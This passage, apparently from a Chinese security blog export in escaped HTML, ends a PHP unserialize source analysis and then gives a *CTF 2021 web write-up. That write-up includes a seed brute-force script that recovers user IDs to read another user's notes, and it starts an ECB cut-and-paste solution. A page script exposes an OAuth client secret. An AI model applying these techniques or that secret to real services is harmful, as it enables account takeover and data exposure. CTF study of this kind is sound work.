*var_hash\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003estatic\u003c/span\u003e \u003cspan class=\"keyword\"\u003eint\u003c/span\u003e \u003cspan class=\"title\"\u003ephp_var_unserialize_internal\u003c/span\u003e\u003cspan class=\"params\"\u003e(UNSERIALIZE_PARAMETER, \u003cspan class=\"keyword\"\u003eint\u003c/span\u003e as_key)\u003c/span\u003e\u003c/span\u003e;\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cblockquote\u003e\u003cp\u003e任何看了源码的人看到这里都会\u0026lt;龙门粗口\u0026gt;,槽点实在是太多了\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e自然而然地,我们回去看这个internal是怎么调用的,看看什么情况下传入的 \u003ccode\u003evar_hash\u003c/code\u003e 为 NULL:\u003c/p\u003e\u003cfigure class=\"highlight cpp\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e19\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e20\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e21\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e22\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e23\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e24\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e25\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e26\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e27\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e28\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e29\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e30\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e31\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e32\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e33\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e34\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e35\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e36\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e37\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e38\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 高度简化版\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003estatic\u003c/span\u003e \u003cspan class=\"keyword\"\u003eint\u003c/span\u003e \u003cspan class=\"title\"\u003ephp_var_unserialize_internal\u003c/span\u003e\u003cspan class=\"params\"\u003e(UNSERIALIZE_PARAMETER, \u003cspan class=\"keyword\"\u003eint\u003c/span\u003e as_key)\u003c/span\u003e \u003c/span\u003e\u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e match \u003cspan class=\"string\"\u003e\u0026quot;a:\u0026lt;arr_len\u0026gt;\u0026quot;\u003c/span\u003e \u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e ...\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprocess_nested_data\u003c/span\u003e(UNSERIALIZE_PASSTHRU, ...);\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e ...\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e match \u003cspan class=\"string\"\u003e\u0026quot;O:\u0026lt;type\u0026gt;:\u0026lt;cnt_attrs\u0026gt;\u0026quot;\u003c/span\u003e \u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e ...\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eobject_common\u003c/span\u003e(UNSERIALIZE_PASSTHRU, ...);\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e ...\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003estatic\u003c/span\u003e \u003cspan class=\"keyword\"\u003einline\u003c/span\u003e \u003cspan class=\"keyword\"\u003eint\u003c/span\u003e \u003cspan class=\"title\"\u003eobject_common\u003c/span\u003e\u003cspan class=\"params\"\u003e(UNSERIALIZE_PARAMETER, zend_long elements, zend_bool has_unserialize)\u003c/span\u003e \u003c/span\u003e\u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e ...\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprocess_nested_data\u003c/span\u003e(UNSERIALIZE_PASSTHRU, ...);\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e ...\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003estatic\u003c/span\u003e zend_always_inline \u003cspan class=\"keyword\"\u003eint\u003c/span\u003e \u003cspan class=\"title\"\u003eprocess_nested_data\u003c/span\u003e\u003cspan class=\"params\"\u003e(UNSERIALIZE_PARAMETER, HashTable *ht, zend_long elements, zend_object *obj)\u003c/span\u003e \u003c/span\u003e\u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ewhile\u003c/span\u003e (elements-- \u0026gt; \u003cspan class=\"number\"\u003e0\u003c/span\u003e) \u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e zval key, *data;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e zend_property_info *info = \u003cspan class=\"literal\"\u003eNULL\u003c/span\u003e;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003ephp_var_unserialize_internal\u003c/span\u003e(\u0026amp;key, p, max, \u003cspan class=\"literal\"\u003eNULL\u003c/span\u003e, \u003cspan class=\"number\"\u003e1\u003c/span\u003e);\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e// assert type(key) == string or type(key) == long\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (obj) \u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e// assert string(key) in dir(obj)\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e// obj[key] = new ref info // zend_get_typed_property_info_for_slot\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003ephp_var_unserialize_internal\u003c/span\u003e(data, p, max, var_hash, \u003cspan class=\"number\"\u003e0\u003c/span\u003e);\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (info) \u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e// some checks\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003ezend_ref_add_type_source\u003c/span\u003e(\u003cspan class=\"built_in\"\u003eZ_REF_P\u003c/span\u003e(data), info);\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e// 略\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u0026#125;\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e可以看到,当反序列化数组、对象这种东西的时候,只有反序列化 \u003cem\u003e\u003cstrong\u003e值\u003c/strong\u003e\u003c/em\u003e 时会传入 \u003ccode\u003evar_hash\u003c/code\u003e 这个列表, \u003cem\u003e\u003cstrong\u003e键\u003c/strong\u003e\u003c/em\u003e 并不存在于这个对象中的列表中。真相大白。\u003c/p\u003e\u003ch2 id=\"有趣的事情\"\u003e有趣的事情\u003c/h2\u003e\u003ch3 id=\"1\"\u003e1\u003c/h3\u003e\u003cfigure class=\"highlight php\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"variable\"\u003e$x\u003c/span\u003e = \u003cspan class=\"keyword\"\u003earray\u003c/span\u003e(\u003cspan class=\"keyword\"\u003enew\u003c/span\u003e \u003cspan class=\"built_in\"\u003estdClass\u003c/span\u003e);\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"variable\"\u003e$x\u003c/span\u003e[\u003cspan class=\"number\"\u003e1\u003c/span\u003e] = \u0026amp;\u003cspan class=\"variable\"\u003e$x\u003c/span\u003e;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eecho\u003c/span\u003e serialize(\u003cspan class=\"variable\"\u003e$x\u003c/span\u003e);\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// a:2:\u0026#123;i:0;O:8:\u0026quot;stdClass\u0026quot;:0:\u0026#123;\u0026#125;i:1;a:2:\u0026#123;i:0;r:2;i:1;R:3;\u0026#125;\u0026#125;\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e这就是序列化部分的事情了。可是今天实在不想写了。\u003c/p\u003e\u003ch3 id=\"2\"\u003e2\u003c/h3\u003e\u003cp\u003eC++的引用实际上并不一定占用堆栈空间。对对象的解引用\u003ca href=\"https://en.cppreference.com/w/cpp/language/reference#:~:text=they%20do%20not%20necessarily%20occupy%20storage\"\u003e很有可能\u003c/a\u003e是在编译期间完成的。\u003c/p\u003e\u003ch2 id=\"求Star\"\u003e求Star\u003c/h2\u003e\u003cp\u003e建议去点个star,\u003ca href=\"https://github.com/frankli0324/libphpserialize\"\u003e\u003cimg src=\"https://img.shields.io/github/stars/frankli0324/libphpserialize.svg?style=flat\u0026label=秋梨膏\" style=\"display:inherit\"/\u003e\u003c/a\u003e!!!\u003c/p\u003e\u003cdiv id=\"gitalk-container\"\u003e\u003c/div\u003e\u003cscript src=\"https://cdn.bootcss.com/blueimp-md5/2.12.0/js/md5.min.js\"\u003e\u003c/script\u003e\u003clink rel=\"stylesheet\" href=\"https://unpkg.com/gitalk/dist/gitalk.css\"\u003e\u003cscript src=\"https://unpkg.com/gitalk/dist/gitalk.min.js\"\u003e\u003c/script\u003e\u003cscript\u003evar gitalkConfig = {\"clientID\":\"5955d155fe2ea768241e\",\"clientSecret\":\"f96bbda9ff434950217f24f7f9369f8b8de3b025\",\"repo\":\"frankli0324.github.io\",\"owner\":\"frankli0324\",\"admin\":[\"frankli0324\"],\"distractionFreeMode\":false}; gitalkConfig.id = md5(location.pathname);var gitalk = new Gitalk(gitalkConfig); gitalk.render(\"gitalk-container\"); \u003c/script\u003e\u003clink rel=\"stylesheet\" href=\"/css/spoiler.css\" type=\"text/css\"\u003e\u003cscript src=\"/js/spoiler.js\" type=\"text/javascript\" async\u003e\u003c/script\u003e","url":"https://blog.frankli.site/2021/04/11/Security/php-src/PHP-Serialize-tips/"},{"title":"*CTF 2021 Web部分 Writeup","time":"2021-01-18T07:58:02Z","content":"\u003ch2 id=\"oh-my-note\"\u003eoh-my-note\u003c/h2\u003e\n\u003cp\u003e签到题,观察源码:\u003c/p\u003e\n\u003cfigure class=\"highlight python\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003chr /\u003e\u003ch2 id=\"oh-my-note\"\u003eoh-my-note\u003c/h2\u003e\u003cp\u003e签到题,观察源码:\u003c/p\u003e\u003cfigure class=\"highlight python\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e19\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e@app.route(\u003cspan class=\"params\"\u003e\u003cspan class=\"string\"\u003e\u0026#x27;/create_note\u0026#x27;\u003c/span\u003e, methods=[\u003cspan class=\"string\"\u003e\u0026#x27;GET\u0026#x27;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#x27;POST\u0026#x27;\u003c/span\u003e]\u003c/span\u003e)\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003edef\u003c/span\u003e \u003cspan class=\"title\"\u003ecreate_note\u003c/span\u003e():\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e ...\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e request.method == \u003cspan class=\"string\"\u003e\u0026quot;POST\u0026quot;\u003c/span\u003e:\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e ...\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eelse\u003c/span\u003e:\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e timestamp = \u003cspan class=\"built_in\"\u003eround\u003c/span\u003e(time.time(), \u003cspan class=\"number\"\u003e4\u003c/span\u003e)\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e random.seed(timestamp)\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e user_id = get_random_id()\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e ...\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e timestamp = \u003cspan class=\"built_in\"\u003eround\u003c/span\u003e(time.time(), \u003cspan class=\"number\"\u003e4\u003c/span\u003e)\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e post_at = datetime.datetime.fromtimestamp(timestamp, tz=datetime.timezone.utc).strftime(\u003cspan class=\"string\"\u003e\u0026#x27;%Y-%m-%d %H:%M UTC\u0026#x27;\u003c/span\u003e)\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e random.seed(user_id + post_at)\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e note_id = get_random_id()\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e note = Note(user_id=user_id, note_id=note_id,\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e title=title, text=text,\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e prv=prv, post_at=post_at)\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e ...\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e不难发现可以根据文章发布的时间反推seed拿到对应用户的id\u003c/p\u003e\u003cfigure class=\"highlight python\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e19\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e20\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e21\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e22\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e23\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eimport\u003c/span\u003e random\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eimport\u003c/span\u003e string\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eimport\u003c/span\u003e datetime\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003ets = \u003cspan class=\"number\"\u003e1610677740\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003ete = \u003cspan class=\"number\"\u003e1610677800\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003etarget = \u003cspan class=\"string\"\u003e\u0026#x27;lj40n2p9qj9xkzy3zfzz7pucm6dmjg1u\u0026#x27;\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003edef\u003c/span\u003e \u003cspan class=\"title\"\u003eget_random_id\u003c/span\u003e():\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e alphabet = \u003cspan class=\"built_in\"\u003elist\u003c/span\u003e(string.ascii_lowercase + string.digits)\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026#x27;\u0026#x27;\u003c/span\u003e.join([random.choice(alphabet) \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e _ \u003cspan class=\"keyword\"\u003ein\u003c/span\u003e \u003cspan class=\"built_in\"\u003erange\u003c/span\u003e(\u003cspan class=\"number\"\u003e32\u003c/span\u003e)])\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003efor\u003c/span\u003e t \u003cspan class=\"keyword\"\u003ein\u003c/span\u003e \u003cspan class=\"built_in\"\u003erange\u003c/span\u003e(ts, te):\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e i \u003cspan class=\"keyword\"\u003ein\u003c/span\u003e \u003cspan class=\"built_in\"\u003erange\u003c/span\u003e(\u003cspan class=\"number\"\u003e9999\u003c/span\u003e):\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e timestamp = \u003cspan class=\"number\"\u003e0.0001\u003c/span\u003e * i + t\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e random.seed(timestamp)\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e user = get_random_id()\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e time = datetime.datetime.fromtimestamp(\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e t, tz=datetime.timezone.utc\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e ).strftime(\u003cspan class=\"string\"\u003e\u0026#x27;%Y-%m-%d %H:%M UTC\u0026#x27;\u003c/span\u003e)\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e random.seed(user + time)\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e post = get_random_id()\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e post == target:\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprint\u003c/span\u003e(timestamp, user)\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cblockquote\u003e\u003cp\u003e然而比赛的时候作为一个星 际 人,发生了这样的事情:\u003c/p\u003e\u003c/blockquote\u003e\u003cimg src=\"/2021/01/18/Security/Writeup/*CTF-2021-Web/chat.png\" class=\"\" title=\"星 际\"\u003e\u003cp\u003e而后\u003ccode\u003e/my_notes\u003c/code\u003e路由只要利用\u003ccode\u003euser_id\u003c/code\u003e就能列出用户的所有文章\u003c/p\u003e\u003cfigure class=\"highlight python\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e@app.route(\u003cspan class=\"params\"\u003e\u003cspan class=\"string\"\u003e\u0026#x27;/my_notes\u0026#x27;\u003c/span\u003e\u003c/span\u003e)\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003edef\u003c/span\u003e \u003cspan class=\"title\"\u003emy_notes\u003c/span\u003e():\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e session.get(\u003cspan class=\"string\"\u003e\u0026#x27;username\u0026#x27;\u003c/span\u003e):\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e username = session[\u003cspan class=\"string\"\u003e\u0026#x27;username\u0026#x27;\u003c/span\u003e]\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e user_id = User.query.filter_by(username=username).first().user_id\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eelse\u003c/span\u003e:\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e user_id = request.args.get(\u003cspan class=\"string\"\u003e\u0026#x27;user_id\u0026#x27;\u003c/span\u003e)\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e \u003cspan class=\"keyword\"\u003enot\u003c/span\u003e user_id:\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e redirect(url_for(\u003cspan class=\"string\"\u003e\u0026#x27;index\u0026#x27;\u003c/span\u003e))\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e看到flag所在文章\u003c/p\u003e\u003cimg src=\"/2021/01/18/Security/Writeup/*CTF-2021-Web/secret.png\" class=\"\" title=\"flag\"\u003e\u003ch2 id=\"lottery-again\"\u003elottery again\u003c/h2\u003e\u003cp\u003e题目是用的是ECB,cut and paste again。\u003cbr\u003e经过尝试,题目所用加密方式块大小为32,将随意一个明文可以如下拆分:\u003c/p\u003e\u003cfigure class=\"highlight json\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan 